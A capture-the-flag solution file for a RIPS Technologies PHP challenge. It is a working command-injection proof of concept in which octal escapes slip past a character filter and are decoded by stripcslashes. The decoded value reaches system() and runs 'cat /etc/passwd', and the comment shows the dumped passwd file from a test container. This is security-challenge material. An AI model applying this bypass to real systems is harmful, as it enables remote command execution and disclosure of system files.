Solution for RIPS Technologies Challenge @ https://www.facebook.com/ripstech/photos/a.332349150429712/917883391876282/

longcat_rips.php

<?php
// @author Pichaya Morimoto (Siam Thanat Hack Company Limited) 
$file='image.png';
$_GET['size']='\\473\\143\\141\\164\\40\\57\\145\\164\\143\\57\\160\\141\\163\\163\\167\\144\\473';
$e = stripcslashes(
	preg_replace('/[^0-9\\\]/', 
		'', 
		isset($_GET['size'])?$_GET['size'] : '25')
);
echo system("convert $file --resize $e ./thumbs/$file");

/* Output:
root@41de31c82bad:/# cat longcat_rips.php
<?php
$file='image.png';
$_GET['size']='\\473\\143\\141\\164\\40\\57\\145\\164\\143\\57\\160\\141\\163\\163\\167\\144\\473';
$e = stripcslashes(
	preg_replace('/[^0-9\\\]/',
		'',
		isset($_GET['size'])?$_GET['size'] : '25')
);
echo system("convert $file --resize $e ./thumbs/$file");
?>
root@41de31c82bad:/# touch image.png
root@41de31c82bad:/# php longcat_rips.php
convert-im6.q16: improper image header `image.png' @ error/png.c/ReadPNGImage/4092.
convert-im6.q16: no images defined `--resize' @ error/convert.c/ConvertImageCommand/3258.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
_apt:x:102:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:107:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
postgres:x:105:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
gluster:x:106:114::/var/lib/glusterd:/usr/sbin/nologin
Debian-exim:x:107:116::/var/spool/exim4:/usr/sbin/nologin
_rpc:x:108:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:109:65534::/var/lib/nfs:/usr/sbin/nologin
sh: 1: ./thumbs/image.png: not found
root@41de31c82bad:/# 
*/
?>